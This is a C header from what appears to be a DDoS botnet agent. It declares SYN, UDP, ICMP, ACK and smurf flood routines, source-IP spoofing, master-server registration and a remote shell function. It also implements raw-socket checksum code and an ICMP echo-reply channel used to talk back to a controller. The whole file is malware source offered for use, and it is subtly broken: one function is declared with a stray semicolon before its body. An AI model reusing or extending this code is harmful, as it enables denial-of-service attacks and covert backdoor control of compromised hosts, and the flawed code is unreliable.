1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160
|
#ifndef TUBBY_H
#define TUBBY_H
//#define __FAVOR_BSD
/*#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>*/
int timiend;
#if CHILDS > 15
#error "Packet kiddie detected..."
#error "That many childs would crash the host... :)"
#endif
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
#define ANSWER send_connect (ipi->ip_src.s_addr, ID_ACK, answer)
void send_connect (unsigned long, unsigned int, char *);
int returnlocalip();
void syn (u_long victim, u_short port, u_short flagg);
u_short cksum (u_short *, int);
void icmp2(int,int);
int udp (int lamer,int);
int validip (char *);
void icmp (int);
char *strfl (void);
void show_shit (char *);
u_long k00lip (void);
char *k00lntoa (void);
void must_kill_all (void);
void commence_udp (char *);
void commence_nul (char *);
void commence_ack (char *);
void commence_syn (char *);
void commence_icmp (char *);
void commence_smurf (char *);
void delmserver(char *);
void addnewmserver(char *);
#ifdef ID_SHELL
void shellsex (int);
#endif
/*unsigned short
ip_sum (addr, len)
u_short *addr;
int len; */
unsigned short ip_sum(u_short* addr, int len);
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
u_short
cksum (u_short * buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int
validip (char *ip)
{
int a, b, c, d, *x;
sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);
x = &a;
if (*x < 0)
return 0;
if (*x > 255)
return 0;
x = &b;
if (*x < 0)
return 0;
if (*x > 255)
return 0;
x = &c;
if (*x < 0)
return 0;
if (*x > 255)
return 0;
x = &d;
if (*x < 0)
return 0;
if (*x > 255)
return 0;
sprintf (ip, "%d.%d.%d.%d", a, b, c, d); // truncate possible garbage data
return 1;
}
void send_connect (unsigned long to, unsigned int id, char *data)
{
char buf[1024];
struct icmp *icmpi = (struct icmp *) buf;
char *bla = (buf + sizeof (struct icmp));
struct sockaddr_in sa;
int i, ssock;
ssock = socket (AF_INET, SOCK_RAW, 1);
// bzero (buf, sizeof(buf));
memset(buf,0,sizeof(buf));
icmpi->icmp_type = 0;
icmpi->icmp_hun.ih_idseq.icd_id = htons (id);
// memcpy(bla,data,sizi);
strcpy(bla,data);
icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, 1024);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = to;
i = sendto (ssock, buf, 1024, 0, (struct sockaddr *) &sa, sizeof (sa));
close (ssock);
return;
}
#endif
|